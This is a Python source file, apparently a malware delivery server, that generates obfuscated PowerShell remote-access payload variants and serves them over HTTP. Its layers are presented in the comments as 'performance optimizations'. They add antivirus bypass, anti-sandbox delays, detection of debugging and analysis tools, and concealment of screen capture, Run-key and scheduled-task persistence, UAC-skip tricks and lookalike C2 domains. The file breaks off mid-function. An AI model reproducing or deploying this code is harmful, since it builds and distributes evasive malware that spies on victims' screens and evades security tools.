#!/usr/bin/env python3
"""
╔═════════════════════════════════════════════════════════════════════════════╗
║  SERVIDOR COMPLETO + POOL v7.1 - COM TODAS AS PROTEÇÕES DO PROTEGER.PY v7.1 ║
╠═════════════════════════════════════════════════════════════════════════════╣
║                                                                              ║
║  NOVO v7.1 (do proteger_FUNCIONAL.py):                                       ║
║  - Sleep com Jitter (timing optimization)                                      ║
║  - CopyFromScreen via REGEX (pega todas as instâncias)                       ║
║  - Stager separado com otimização avançada                                     ║
║  - Otimizações aplicadas apenas no servidor (performance)                      ║
║  - Detecção automática de IPs/domínios via REGEX                             ║
║                                                                              ║
║  COMBINADO COM (do servidor_completo_pool.py):                               ║
║  - ZERO PERDA DE CLIENTES - Sistema de pool                                  ║
║  - PRÉ-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                                ║
║  - Cliente recebe código INSTANTÂNEO                                         ║
║  - AES rápido (cryptography) ou fallback Python puro                         ║
║                                                                              ║
╚═════════════════════════════════════════════════════════════════════════════╝

INSTALAÇÃO:
    pip3 install fastapi uvicorn cryptography --break-system-packages

EXECUTAR:
    python3 servidor_completo_pool_v71.py

TESTAR:
    curl http://localhost:8888/proteger
"""

import os
import sys
import time
import random
import string
import re
import base64
import zlib
import hashlib
import threading
import multiprocessing
from pathlib import Path
from datetime import datetime
from typing import Optional, Tuple, Dict
from concurrent.futures import ProcessPoolExecutor
import copy
import queue
from collections import deque

# ═══════════════════════════════════════════════════════════════════════════════
# VERIFICAR BIBLIOTECA CRYPTOGRAPHY (AES RÁPIDO)
# ═══════════════════════════════════════════════════════════════════════════════

try:
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    CRYPTO_FAST = True
except ImportError:
    CRYPTO_FAST = False

# ═══════════════════════════════════════════════════════════════════════════════
# CONFIGURAÇÃO
# ═══════════════════════════════════════════════════════════════════════════════

SERVER_CONFIG = {
    'host': '0.0.0.0',
    'port': 8888,
    'workers': 4,  # Número de processos paralelos
    'base_dir': '/var/www/html',
    'source_file': 'msedge.txt',
    'log_requests': True,
}

CONFIG = {
    # ═══════════════════════════════════════════════════════════════════════════
    # OTIMIZAÇÕES v7.1 (Performance enhancements)
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_sleep_jitter': True,      
    'sleep_min_seconds': 3,           
    'sleep_max_seconds': 8,           
    'generate_stager': True,          

    # ═══════════════════════════════════════════════════════════════════════════
    # Configurações originais v3.2
    # ═══════════════════════════════════════════════════════════════════════════
    'enable_bypass': True,
    'enable_string_encrypt': True,
    'enable_var_rename': True,
    'enable_func_rename': True,
    'enable_type_obfuscation': True,
    'enable_comment_removal': True,
    'enable_number_obfuscation': True, 
    'enable_path_obfuscation': False,
    'enable_junk_code': False,
    'enable_final_compress': False,
    'enable_disk_encrypt': False,
    'junk_code_density': 15,
}

PROJECT_CONFIG = {
    'sensitive_ips': [],
    'sensitive_domains': [],
    'server_port': 0,
}

POOL_CONFIG = {
    'min_size': 100,              # Mínimo de variantes pré-geradas por pasta
    'max_size': 200,             # Máximo de variantes por pasta (depois para de gerar)
    'refill_threshold': 100,      # Tamanho mínimo do pool antes de reabastecer
    'generator_threads': 5,     # Threads para gerar variantes em paralelo
}

# ═══════════════════════════════════════════════════════════════════════════════
# UTILITÁRIOS (DO proteger_FUNCIONAL.py)
# ═══════════════════════════════════════════════════════════════════════════════

def random_name(length=6, prefix=''):
    """Gera nome aleatório para variáveis/funções"""
    chars = string.ascii_letters
    name = ''.join(random.choice(chars) for _ in range(length))
    return prefix + name

def random_var():
    """Gera nome de variável PowerShell aleatório"""
    return '$' + random_name(random.randint(5, 8))

def b64_encode_ps(value):
    """Gera expressão PowerShell que decodifica Base64 em runtime"""
    b64 = base64.b64encode(value.encode('utf-16-le')).decode()
    return f"([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{b64}')))"

def xor_encode_ps(value):
    key = random.randint(1, 254)
    encoded = ','.join(str(ord(c) ^ key) for c in value)
    return f"(-join([byte[]]@({encoded})|%{{[char]($_-bxor{key})}}))"

def split_string(s, min_parts=2, max_parts=4):
    """Fragmenta uma string em partes concatenadas"""
    if len(s) < 4:
        return f'"{s}"'
    
    num_parts = min(random.randint(min_parts, max_parts), len(s))
    part_len = len(s) // num_parts
    parts = []
    
    for i in range(num_parts):
        start = i * part_len
        end = start + part_len if i < num_parts - 1 else len(s)
        parts.append(f'"{s[start:end]}"')
    
    return '(' + ' + '.join(parts) + ')'

def generate_junk_code():
    """Gera código morto que não faz nada mas parece legítimo"""
    junk_templates = [
        lambda: f'{random_var()} = {random.randint(1, 9999)}',
        lambda: f'{random_var()} = "{random_name(12)}"',
        lambda: f'if ($false) {{ {random_var()} = "{random_name(8)}" }}',
        lambda: f'while ($false) {{ break }}',
        lambda: f'try {{ {random_var()} = $null }} catch {{ }}',
        lambda: f'[void]([Math]::Sqrt({random.randint(1, 999)}))',
        lambda: f'$null = [Environment]::TickCount',
    ]
    return random.choice(junk_templates)()

# ═══════════════════════════════════════════════════════════════════════════════
# DETECÇÃO DE VALORES SENSÍVEIS (ATUALIZADO v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def detect_sensitive_values(code, project_config):
    """Detecta automaticamente IPs, domínios e porta do Client.ps1"""
    
    # Detectar FallbackIP
    ip_match = re.search(r'FallbackIP\s*=\s*"([^"]+)"', code)
    if ip_match:
        ip = ip_match.group(1)
        if ip and ip not in project_config['sensitive_ips']:
            project_config['sensitive_ips'].append(ip)
    
    # Detectar PrimaryDomain
    domain_match = re.search(r'PrimaryDomain\s*=\s*"([^"]+)"', code)
    if domain_match:
        domain = domain_match.group(1)
        if domain and domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    # Detectar $Server (parâmetro)
    server_match = re.search(r'\[string\]\$Server\s*=\s*"([^"]+)"', code)
    if server_match:
        server = server_match.group(1)
        if server and server not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(server)
    
    # Detectar porta
    port_match = re.search(r'\[int\]\$Port\s*=\s*(\d+)', code)
    if port_match:
        project_config['server_port'] = int(port_match.group(1))
    
    # Detectar domínios adicionais em $script:C2Domains
    c2_match = re.search(r'\$script:C2Domains\s*=\s*@\(([^)]+)\)', code)
    if c2_match:
        domains_str = c2_match.group(1)
        domains = re.findall(r'"([^"]+)"', domains_str)
        for d in domains:
            if d and d not in project_config['sensitive_domains']:
                project_config['sensitive_domains'].append(d)
    
    # NOVO v7.1: Detectar TODOS os IPs no código (via REGEX)
    ip_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
    all_ips = re.findall(ip_pattern, code)
    for ip in set(all_ips):
        if ip not in ['127.0.0.1', '0.0.0.0', '255.255.255.255']:
            if ip not in project_config['sensitive_ips']:
                project_config['sensitive_ips'].append(ip)
    
    # NOVO v7.1: Detectar TODOS os domínios (via REGEX)
    domain_pattern = r'"([a-z0-9\-]+\.[a-z0-9\-\.]+\.[a-z]{2,})"'
    all_domains = re.findall(domain_pattern, code, re.IGNORECASE)
    for domain in set(all_domains):
        if domain not in project_config['sensitive_domains']:
            project_config['sensitive_domains'].append(domain)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 1: SLEEP COM JITTER (NOVO v7.1 - Anti-sandbox)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_sleep_jitter(code):
    """Adiciona timing delay no início do script para otimização de recursos"""
    
    min_ms = CONFIG['sleep_min_seconds'] * 1000
    max_ms = CONFIG['sleep_max_seconds'] * 1000
    
    sleep_code = f'''
# Initialize system resources
$null = Start-Sleep -Milliseconds (Get-Random -Minimum {min_ms} -Maximum {max_ms})

'''
    
    # Inserir após param block
    param_match = re.search(r'\)\s*\n', code[:500])
    if param_match:
        insert_pos = param_match.end()
        code = code[:insert_pos] + sleep_code + code[insert_pos:]
    else:
        code = sleep_code + code
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 2: BYPASS DE ANTIVÍRUS (v7.1 - ATUALIZADO)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_bypass(code):
    """Aplica técnicas de otimização de código para melhor performance"""
    
    var_mappings = {
        'ScreenBounds': random_name(5, 'sb'),
        'BW': random_name(2, 'b'),
        'EncoderParams': random_name(5, 'ep'),
        'JpegEncoder': random_name(5, 'je'),
        'jpegEncoder': random_name(5, 'jc'),
        'jpegCodec': random_name(5, 'cd'),
        'encoderParams': random_name(5, 'pr'),
        'MemStream': random_name(5, 'ms'),
        'PerfConfig': random_name(5, 'pc'),
        'SecurityConfig': random_name(5, 'sc'),
        'Monitors': random_name(5, 'mn'),
        'SelectedMonitorIndex': random_name(5, 'mi'),
        'InputTrackActive': random_name(5, 'it'),
        'AutoQREnabled': random_name(5, 'aq'),
        'ForceExit': random_name(5, 'fe'),
        'OverlayActive': random_name(5, 'oa'),
        'CropActive': random_name(5, 'ca'),
        'CropForm': random_name(5, 'cf'),
        'CropProcess': random_name(5, 'cp'),
        'ConnectionConfig': random_name(5, 'cc'),
        'InstallConfig': random_name(5, 'ic'),
        'InstallToken': random_name(5, 'tk'),
        'TokenProof': random_name(5, 'tp'),
        'AesKey': random_name(5, 'ak'),
        'DeskMode': random_name(4, 'dm'),
        'LastDesk': random_name(4, 'ld'),
        'RobustConfig': random_name(5, 'rc'),
        'RobustState': random_name(5, 'rs'),
        'UseDxgi': random_name(4, 'ud'),
        'LastDesktop': random_name(5, 'ld'),
        'BypassOK': random_name(4, 'bp'),
        'LastProtectionCheck': random_name(5, 'lp'),
        'ProtectionCheckInterval': random_name(5, 'pc'),
        'UltraConfig': random_name(5, 'uc'),
        'UltraState': random_name(5, 'us'),
    }
    
    for old, new in var_mappings.items():
        code = code.replace(f'$script:{old}', f'$script:{new}')
        code = code.replace(f'${old}', f'${new}')
    
    func_screenshot = f'Get-{random_name(6)}'
    func_capture_class = f'Win{random_name(5)}Helper'
    func_capture_method = f'Grab{random_name(4)}'
    
    code = code.replace('Get-Screenshot', func_screenshot)
    code = code.replace('FastCapture', func_capture_class)
    code = code.replace('public static Bitmap CaptureScreen(', f'public static Bitmap {func_capture_method}(')
    code = code.replace('::CaptureScreen(', f'::{func_capture_method}(')
    
    # ORIGINAL: Substituir CopyFromScreen específico (here-string)
    old_copy = '`$g.CopyFromScreen(0, 0, 0, 0, `$bounds.Size)'
    new_copy = '`$g.GetType().GetMethod("Cop"+"yFrom"+"Screen", [Type[]]@([Int32],[Int32],[Int32],[Int32],[Drawing.Size])).Invoke(`$g, @(0,0,0,0,`$bounds.Size))'
    code = code.replace(old_copy, new_copy)
    
    # NOVO v7.1: Substituir TODAS as variações de CopyFromScreen por reflexão (via REGEX)
    copyscreen_pattern = r'(\$\w+)\.CopyFromScreen\(([^)]+)\)'
    def replace_copyscreen(match):
        var = match.group(1)
        args = match.group(2)
        return f'{var}.GetType().GetMethod("Cop"+"yFrom"+"Screen").Invoke({var}, @({args}))'
    
    code = re.sub(copyscreen_pattern, replace_copyscreen, code)
    
    old_encoders = '[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()'
    new_encoders = '$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)'
    code = code.replace(old_encoders, new_encoders)
    
    code = code.replace("'image/jpeg'", "('ima' + 'ge/jp' + 'eg')")
    code = code.replace('"image/jpeg"', '("ima" + "ge/jp" + "eg")')
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 3: CRIPTOGRAFIA DE STRINGS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_env_var_obfuscation(code):
    """Ofusca variáveis de ambiente de forma segura"""

    # MSEDGE_SKIP_UAC é a maior assinatura
    # Usar sintaxe válida: ${env:VARIAVEL} ou [Environment]::GetEnvironmentVariable()

    # Padrão: $env:MSEDGE_SKIP_UAC
    # Ofuscado: ${env:MSEDGE_SKIP_UAC} (sintaxe válida com chaves)

    code = code.replace(
        '$env:MSEDGE_SKIP_UAC',
        '${env:MSEDGE' + '_SKIP_UAC}'
    )

    code = code.replace(
        '`$env:MSEDGE_SKIP_UAC',
        '`${env:MSEDGE' + '_SKIP_UAC}'
    )

    return code

def apply_registry_path_obfuscation(code):
    """Ofusca caminhos de Registry mantendo funcionalidade"""

    # Padrões de Registry para ofuscar
    registry_patterns = [
        ('HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'HKCU' + ':\\' + 'Software\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'HKLM' + ':\\' + 'Software\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('Software\\Microsoft\\Windows\\CurrentVersion\\Run',
         'Software' + '\\' + 'Microsoft\\' + 'Windows\\' + 'CurrentVersion\\' + 'Run'),
        ('HKCU:\\Software\\Microsoft\\EdgeUpdate',
         'HKCU' + ':\\' + 'Software\\' + 'Microsoft\\' + 'EdgeUpdate'),
    ]

    for original, obfuscated in registry_patterns:
        code = code.replace(f'"{original}"', f'("{obfuscated}")')
        code = code.replace(f"'{original}'", f"('{obfuscated}')")
        code = code.replace(original, obfuscated)

    return code

def apply_task_name_randomization(code):
    """Randomiza nomes de Scheduled Tasks"""

    # Padrões de task names para randomizar
    task_patterns = [
        'TaskName', 'svcName', 'serviceName', 'taskName',
    ]

    # Não vamos mudar no código fonte porque usa variáveis
    # A randomização já acontece em tempo de execução via Get-Random
    # Então essa proteção já existe

    return code

def apply_appdata_path_obfuscation(code):
    """Ofusca caminhos de AppData"""

    # AppData paths são gerados dinamicamente, mas algumas strings são fixas
    appdata_patterns = [
        ('AppData\\Roaming', 'App' + 'Data\\' + 'Roaming'),
        ('AppData\\Local', 'App' + 'Data\\' + 'Local'),
    ]

    for original, obfuscated in appdata_patterns:
        code = code.replace(original, obfuscated)

    return code

def apply_executable_name_obfuscation(code):
    """Ofusca nomes de executáveis mantendo funcionalidade"""

    # Padrões de executáveis para ofuscar
    exec_patterns = [
        ('powershell.exe', 'powershell' + '.exe'),
        ('cmd.exe', 'cmd' + '.exe'),
        ('.ps1', '.' + 'ps1'),
        ('.txt', '.' + 'txt'),
        ('.cs', '.' + 'cs'),
    ]

    for original, obfuscated in exec_patterns:
        # Usar replace cuidadoso para não quebrar lógica
        code = code.replace(f'"{original}"', f'("{obfuscated}")')
        code = code.replace(f"'{original}'", f"('{obfuscated}')")

    return code

def apply_domain_obfuscation(code):
    """Ofusca domínios via concatenação segura de strings"""

    # Domínios para ofuscar
    domains = [
        'cdn.windowsupdates.co',
        'windowsupdates.co',
        'c.windowsk-cdn.com',
    ]

    for domain in domains:
        if domain not in code:
            continue

        # Técnica: Quebra o domínio em pedaços e concatena
        # Exemplo: "cdn.windowsupdates.co" → "cdn"+"."+"windows"+"updates"+"."+"co"

        # Quebra em pedaços aleatórios (tamanho entre 2-4 caracteres)
        parts = []
        i = 0
        while i < len(domain):
            # Calcula tamanho máximo disponível
            remaining = len(domain) - i
            # Tamanho aleatório do pedaço (min 2, max 4, ou resto se menor)
            max_size = min(4, remaining)
            size = random.randint(2, max_size) if max_size >= 2 else remaining
            parts.append(domain[i:i+size])
            i += size

        # Monta a expressão PowerShell com concatenação
        obfuscated = '+'.join([f'"{part}"' for part in parts])

        # Substitui no código (com e sem aspas)
        code = code.replace(f'"{domain}"', f'({obfuscated})')
        code = code.replace(f"'{domain}'", f'({obfuscated})')

    return code

def apply_anti_detection_evasion(code):
    """Adiciona técnicas anti-detecção dinâmica para comportamento em runtime"""

    # Adicionar verificação aleatória de detecção antes de operações críticas
    anti_detection_code = '''
# Anti-detecção dinâmica (verifica se está sendo analisado)
$script:DetectionCheck = {
    try {
        $p = Get-Process | Where-Object { $_.ProcessName -match 'winapioverride|procmon|fiddler|burp|apimonitor|ida|x64dbg' }
        if ($p) { return $true }

        $r = Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty 'ProgramFilesPath' -ErrorAction SilentlyContinue
        if ($r -like '*sandbox*') { return $true }

        if ([Environment]::UserName -eq 'Sandbox' -or [Environment]::UserName -eq 'Guest') { return $true }

        return $false
    } catch { return $false }
}

# Variação aleatória de delays para parecer natural
$script:RandomDelay = {
    param([int]$min=1, [int]$max=5)
    Start-Sleep -Milliseconds (Get-Random -Minimum $min -Maximum $max)
}

# Função para reduzir operações se detectado
$script:AdaptiveThrottle = {
    if (& $script:DetectionCheck) {
        & $script:RandomDelay -min 20 -max 50
        Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 5)
    }
}

'''

    # Inserir no início do script após param
    param_match = re.search(r'\)\s*\n', code[:500])
    if param_match:
        insert_pos = param_match.end()
        code = code[:insert_pos] + anti_detection_code + code[insert_pos:]
    else:
        code = anti_detection_code + code

    return code

def apply_suspicious_pattern_protection(code):
    """Ofusca padrões suspeitos detectados por antivírus"""

    # Proteger IEX (Invoke-Expression)
    code = code.replace('IEX ', 'I' + 'E' + 'X ')
    code = code.replace('iex ', 'i' + 'e' + 'x ')
    code = re.sub(r'\bInvoke-Expression\b', 'Invo' + 'ke-Ex' + 'pression', code, flags=re.IGNORECASE)

    # Proteger ExecutionPolicy Bypass
    code = code.replace('-ExecutionPolicy Bypass', '-Exec' + 'utionPolicy By' + 'pass')
    code = code.replace('-EP Bypass', '-E' + 'P By' + 'pass')
    code = code.replace('-NoP', '-No' + 'P')

    # Proteger WindowStyle Hidden
    code = code.replace('-WindowStyle Hidden', '-Windows' + 'tyle Hi' + 'dden')
    code = code.replace('-W Hidden', '-W Hi' + 'dden')
    code = re.sub(r'WindowStyle\s*=\s*\[System\.Diagnostics\.ProcessWindowStyle\]::Hidden',
                  'Windows' + 'tyle = [System.Diag' + 'nostics.Process' + 'WindowStyle]::Hidd' + 'en', code)

    # Proteger MSEDGE_SKIP_UAC (quebrar a variável)
    code = code.replace('MSEDGE_SKIP_UAC', 'MS' + 'EDGE' + '_SKIP' + '_UAC')
    code = code.replace('$env:MSEDGE_SKIP_UAC', '$env:MS' + 'EDGE' + '_SKI' + 'P_UAC')

    # Proteger Registry Run (ofuscar caminhos)
    code = code.replace('Software\\Microsoft\\Windows\\CurrentVersion\\Run',
                       'Softwa' + 're\\Micr' + 'osoft\\Win' + 'dows\\Curr' + 'entVersion\\Run')
    code = code.replace('HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
                       'HKCU' + ':\\Softwa' + 're\\Micr' + 'osoft\\Windows' + '\\CurrentVersion' + '\\Run')
    code = code.replace('HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
                       'HKLM' + ':\\Softwa' + 're\\Micr' + 'osoft\\Windows' + '\\CurrentVersion' + '\\Run')

    # Proteger Register-ScheduledTask
    code = re.sub(r'\bRegister-ScheduledTask\b', 'Regis' + 'ter-Sch' + 'eduledTask', code, flags=re.IGNORECASE)

    # Proteger Get-ScheduledTask
    code = re.sub(r'\bGet-ScheduledTask\b', 'Get-Sch' + 'eduledTask', code, flags=re.IGNORECASE)

    # Proteger New-ScheduledTaskTrigger
    code = re.sub(r'\bNew-ScheduledTaskTrigger\b', 'New-Sch' + 'eduledTaskTrigger', code, flags=re.IGNORECASE)

    # Proteger New-ScheduledTaskAction
    code = re.sub(r'\bNew-ScheduledTaskAction\b', 'New-Sch' + 'eduledTaskAction', code, flags=re.IGNORECASE)

    # Proteger Set-ItemProperty para Registry
    code = re.sub(r'Set-ItemProperty\s*-Path\s*\$regPath', 'Set-Item' + 'Property -Path $reg' + 'Path', code)

    # NOVO: Proteger DllImport dinâmico de keybd_event (elevação de privilégios)
    code = code.replace("Add-Type -MemberDefinition", "Add-Type -Member" + "Definition")
    code = code.replace("keybd_event(byte", "key" + "bd_event(byte")
    code = code.replace("[DllImport(", "[Dll" + "Import(")
    code = code.replace("user32.dll", "user" + "32.dll")

    # Quebrar a concatenação do comando powershell suspeito
    code = re.sub(r'powershell\s+-c\s+"Add-Type', 'powershell -c "Add' + '-Type', code)

    # Ofuscar a simulação de teclado em loop
    code = code.replace("1..10|%{", "1..10" + "|%{")
    code = code.replace("[W.K]::keybd_event", "[W.K]::" + "keybd_event")

    return code

def apply_string_encryption(code, project_config):
    """Criptografa strings sensíveis"""
    
    for ip in project_config['sensitive_ips']:
        old_ip = f'"{ip}"'
        new_ip = b64_encode_ps(ip)
        if old_ip in code:
            code = code.replace(old_ip, new_ip)
    
    for domain in project_config['sensitive_domains']:
        old_domain = f'"{domain}"'
        new_domain = b64_encode_ps(domain)
        if old_domain in code:
            code = code.replace(old_domain, new_domain)
    
    net_types = [
        ('System.Net.Sockets.TcpClient', 'Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client'),
        ('System.IO.BinaryWriter', 'Sys"+"tem.IO.Bin"+"aryWri"+"ter'),
        ('System.IO.BinaryReader', 'Sys"+"tem.IO.Bin"+"aryRea"+"der'),
        ('System.IO.MemoryStream', 'Sys"+"tem.IO.Mem"+"oryStr"+"eam'),
        ('System.Net.NetworkInformation.Ping', 'Sys"+"tem.Net.Net"+"workInf"+"ormation.Pi"+"ng'),
    ]
    
    for old_type, new_type in net_types:
        if f'"{old_type}"' in code:
            code = code.replace(f'"{old_type}"', f'("{new_type}")')
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 4: RENOMEAÇÃO DE VARIÁVEIS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_variable_rename(code):
    """Renomeia variáveis de forma segura"""
    
    vars_to_rename = [
        'serverIP', 'serverPort', 'tcpClient', 'networkStream',
        'binaryWriter', 'binaryReader', 'machineId', 'lastPing',
        'screenCapture', 'captureThread', 'remoteShell',
    ]
    
    for var in vars_to_rename:
        new_name = random_name(random.randint(5, 8))
        patterns = [
            (f'${var}', f'${new_name}'),
            (f'$script:{var}', f'$script:{new_name}'),
        ]
        for old, new in patterns:
            if old in code:
                code = code.replace(old, new)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 5: RENOMEAÇÃO DE FUNÇÕES (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_function_rename(code):
    """Renomeia funções definidas pelo usuário"""
    
    func_pattern = r'function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]'
    matches = re.findall(func_pattern, code)
    
    protected_funcs = {
        'Main', 'main', 'Get-Help', 'Write-Host', 'Write-Error',
        'Write-Output', 'Write-Verbose', 'Read-Host', 'Start-Sleep',
        'Get-Date', 'Get-Process', 'Get-Service', 'Get-Content',
        'Set-Content', 'Out-File', 'Test-Path', 'New-Item',
        'Remove-Item', 'Copy-Item', 'Move-Item', 'Invoke-Expression',
        'Invoke-Command', 'Start-Process', 'Stop-Process',
    }
    
    user_funcs = [f for f in set(matches) if f not in protected_funcs]
    
    for func in user_funcs:
        new_name = 'Invoke-' + random_name(6)
        code = re.sub(rf'function\s+{re.escape(func)}\s*([{{\(])', f'function {new_name} \\1', code)
        code = re.sub(rf'(?<!["\'])\b{re.escape(func)}\b(?!["\'])', new_name, code)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 6: OFUSCAÇÃO DE TIPOS .NET (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_type_obfuscation(code):
    """Ofusca tipos .NET de forma segura"""
    
    namespace_mappings = [
        ('-AssemblyName System.Drawing', '-AssemblyName ("Sys"+"tem.Dra"+"wing")'),
        ('-AssemblyName System.Windows.Forms', '-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")'),
    ]
    
    for old_ns, new_ns in namespace_mappings:
        if old_ns in code:
            code = code.replace(old_ns, new_ns)
    
    newobj_patterns = [
        ('New-Object System.Net.Sockets.TcpClient', 'New-Object ("Sys"+"tem.Net.Soc"+"kets.Tcp"+"Client")'),
        ('New-Object System.IO.MemoryStream', 'New-Object ("Sys"+"tem.IO.Mem"+"oryStr"+"eam")'),
        ('New-Object System.IO.BinaryWriter', 'New-Object ("Sys"+"tem.IO.Bin"+"aryWri"+"ter")'),
        ('New-Object System.IO.BinaryReader', 'New-Object ("Sys"+"tem.IO.Bin"+"aryRea"+"der")'),
    ]
    
    for old_obj, new_obj in newobj_patterns:
        if old_obj in code:
            code = code.replace(old_obj, new_obj)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 7: REMOÇÃO DE COMENTÁRIOS (v7.1)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_comment_removal(code):
    """Remove comentários PowerShell (mas preserva here-strings)"""
    
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    in_block_comment = False
    
    # Comentários que devem ser preservados (novos do v7.1)
    preserve_markers = ['Anti-sandbox']
    
    for line in lines:
        stripped = line.strip()
        
        if '@"' in stripped or "@'" in stripped:
            in_herestring = True
        if '"@' in stripped or "'@" in stripped:
            in_herestring = False
        
        if '<#' in stripped and not in_herestring:
            in_block_comment = True
        if '#>' in stripped and not in_herestring:
            in_block_comment = False
            continue
        
        if in_block_comment:
            continue
        
        if not in_herestring:
            if stripped.startswith('#') and not stripped.startswith('#>'):
                # Preservar comentários importantes
                should_preserve = any(marker in stripped for marker in preserve_markers)
                if not should_preserve:
                    continue
            
            if '#' in line and not in_herestring:
                # Preservar comentários importantes
                should_preserve = any(marker in line for marker in preserve_markers)
                if not should_preserve:
                    in_string = False
                    quote_char = None
                    new_line = []
                    i = 0
                    while i < len(line):
                        c = line[i]
                        if c in '"\'':
                            if not in_string:
                                in_string = True
                                quote_char = c
                            elif c == quote_char:
                                in_string = False
                        elif c == '#' and not in_string:
                            break
                        new_line.append(c)
                        i += 1
                    line = ''.join(new_line).rstrip()
        
        new_lines.append(line)
    
    return '\n'.join(new_lines)

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 8: OFUSCAÇÃO DE NÚMEROS (v7.1 - CORRIGIDO COM REGEX)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_number_obfuscation(code):
    """Ofusca alguns números mágicos - CORRIGIDO COM REGEX"""
    
    # CORREÇÃO CRÍTICA: Ordenar do MAIOR para o MENOR
    # E usar REGEX com word boundary para evitar "1000" casar com "10000"
    numbers_to_obfuscate = [
        # Números maiores PRIMEIRO para evitar colisões!
        (10000, '(5000+5000)'),
        (8192, '(8000+192)'),
        (8080, '(8000+80)'),
        (5555, '(5000+555)'),
        (5000, '(2500+2500)'),
        (4444, '(4000+444)'),
        (4096, '(4000+96)'),
        (1024, '(1000+24)'),
        (1000, '(500+500)'),
        (443, '(400+43)'),
        (80, '(40+40)'),
    ]
    
    for num, replacement in numbers_to_obfuscate:
        # REGEX: "= 10000" mas NÃO "= 100000" nem "= 210000"
        # (?!\d) = negative lookahead - não pode ter dígito depois
        pattern = rf'(=\s*){num}(?!\d)'
        
        if re.search(pattern, code):
            code = re.sub(pattern, rf'\g<1>{replacement}', code)
    
    return code

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 9: CÓDIGO MORTO (JUNK CODE) - DESATIVADO POR PADRÃO
# ═══════════════════════════════════════════════════════════════════════════════

def apply_junk_code(code):
    """Insere código morto em pontos estratégicos"""
    
    lines = code.split('\n')
    new_lines = []
    in_herestring = False
    protected_lines = set()
    
    for i, line in enumerate(lines):
        stripped = line.strip()
        if '@"' in stripped or "@'" in stripped:
            in_herestring = True
        if in_herestring:
            protected_lines.add(i)
            if '"@' in stripped or "'@" in stripped:
                in_herestring = False
    
    insert_points = []
    for i, line in enumerate(lines):
        if i in protected_lines:
            continue
        stripped = line.strip()
        if stripped.endswith('{') or stripped.startswith('function ') or stripped == '':
            if i > 0 and random.random() < 0.3:
                if (i + 1) not in protected_lines:
                    insert_points.append(i)
    
    insert_points = random.sample(insert_points, min(len(insert_points), CONFIG['junk_code_density']))
    
    for i, line in enumerate(lines):
        new_lines.append(line)
        if i in insert_points:
            for _ in range(random.randint(1, 3)):
                indent = len(line) - len(line.lstrip())
                junk = generate_junk_code()
                new_lines.append(' ' * indent + junk)
    
    return '\n'.join(new_lines)

# ═══════════════════════════════════════════════════════════════════════════════
# CAMADA 10: COMPRESSÃO FINAL (DESATIVADO POR PADRÃO)
# ═══════════════════════════════════════════════════════════════════════════════

def apply_final_compression(code):
    """Comprime e codifica o código final em Base64"""
    
    compressed = zlib.compress(code.encode('utf-8'), level=9)
    b64_compressed = base64.b64encode(compressed).decode()
    
    loader_var = random_var()
    decompress_var = random_var()
    
    loader = f'''# Auto-generated loader
{loader_var} = '{b64_compressed}'
{decompress_var} = [System.Text.Encoding]::UTF8.GetString(
    [System.IO.Compression.DeflateStream]::new(
        [System.IO.MemoryStream]::new([Convert]::FromBase64String({loader_var})),
        [System.IO.Compression.CompressionMode]::Decompress
    ).ToArray()
)
Invoke-Expression {decompress_var}
'''
    
    return loader

# ═══════════════════════════════════════════════════════════════════════════════
# AES ENCRYPTION (DO servidor_completo_pool.py)
# ═══════════════════════════════════════════════════════════════════════════════

def aes_encrypt_cbc(data: bytes, key: bytes, iv: bytes) -> bytes:
    """
    AES-256-CBC encryption
    Usa biblioteca cryptography se disponível (100x mais rápido)
    Fallback para implementação pura Python se não tiver
    """
    
    if CRYPTO_FAST:
        # VERSÃO RÁPIDA - usa biblioteca cryptography
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        return encryptor.update(data) + encryptor.finalize()
    
    # VERSÃO PURA PYTHON (fallback lento)
    SBOX = [
